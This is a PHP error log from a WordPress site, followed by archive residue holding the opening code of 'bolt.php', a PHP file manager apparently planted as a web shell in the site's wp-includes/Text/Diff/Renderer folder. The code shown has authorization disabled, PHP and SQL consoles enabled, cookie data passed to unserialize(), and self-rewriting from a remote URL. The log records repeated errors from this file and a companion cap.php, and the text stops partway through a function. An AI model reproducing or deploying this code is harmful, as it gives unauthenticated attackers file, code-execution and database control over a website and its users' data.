[25-Jun-2026 18:46:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:47:58 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:47:58 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $ext in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1208
[25-Jun-2026 18:48:03 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:03 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $ext in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:34 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:43 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:43 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:44 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:44 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:49:41 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:49:41 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:49:41 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:49:41 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:50:02 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:02 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:02 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:50:03 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/inline.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:50:42 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:42 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:42 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 629
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 629
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 19:34:39 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 19:34:39 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 19:34:45 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:45 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:49 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:34:59 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:21 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:35:47 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:04 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:06 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:11 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:23 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:28 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:28 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:44 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:44 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:48 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:54 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:59 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:59 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:08 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:10 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:30 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:42 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:42 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:47 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:47 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
                                                                                                                                                                                                                                                                                              bolt.php.tar                                                                                        0000644                 00000236000 15217301621 0007001 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php                                 0000644                 00000232745 15217274105 0021423 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/* PHP File manager ver 1.4 */

// Configuration ¡ª do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
